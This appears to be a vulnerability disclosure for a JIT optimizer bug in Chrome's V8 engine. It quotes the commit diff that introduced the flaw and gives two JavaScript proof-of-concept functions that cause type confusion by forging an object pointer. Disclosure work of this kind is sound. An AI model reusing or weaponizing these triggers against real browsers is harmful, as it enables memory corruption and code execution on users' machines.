Chrome V8 JIT LoadElimination::ReduceTransitionElementsKind Bug

`Chrome: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind   
  
  
  
  
I think this commit has introduced the bug: <a href="https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b" title="" class="" rel="nofollow">https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b</a>  
  
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {  
...  
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {  
object_maps.remove(source_map, zone());  
object_maps.insert(target_map, zone());  
- AliasStateInfo alias_info(state, object, source_map);  
- state = state->KillMaps(alias_info, zone());  
- state = state->AddMaps(object, object_maps, zone());  
+ state = state->SetMaps(object, object_maps, zone());  
}  
...  
}  
  
I think the "state->KillMaps(alias_info, zone());" accidentally was removed. This lack may lead CheckMap instructions to be removed incorrectly.  
  
A PoC demonstrating type confusion:  
function opt(a, b) {  
b[0] = 0;  
  
a.length;  
  
// TransitionElementsKind  
for (let i = 0; i < 1; i++)  
a[0] = 0;  
  
// CheckMap removed, type confusion  
b[0] = 9.431092e-317; // 0x1234567  
}  
  
let arr1 = new Array(1);  
arr1[0] = 'a';  
opt(arr1, [0]);  
  
let arr2 = [0.1];  
opt(arr2, arr2);  
  
%OptimizeFunctionOnNextCall(opt);  
  
opt(arr2, arr2);  
arr2[0].x // access 0x1234566  
  
Without natives syntax:  
function opt(a, b) {  
b[0] = 0;  
  
a.length;  
  
// TransitionElementsKind  
for (let i = 0; i < 1; i++)  
a[0] = 0;  
  
b[0] = 9.431092e-317; // 0x1234567  
  
// Force optimization  
for (let i = 0; i < 10000000; i++) {  
  
}  
}  
  
let arr1 = new Array(1);  
arr1[0] = 'a';  
opt(arr1, [0]);  
  
let arr2 = [0.1];  
opt(arr2, arr2);  
  
opt(arr2, arr2);  
arr2[0].x // access 0x1234566  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`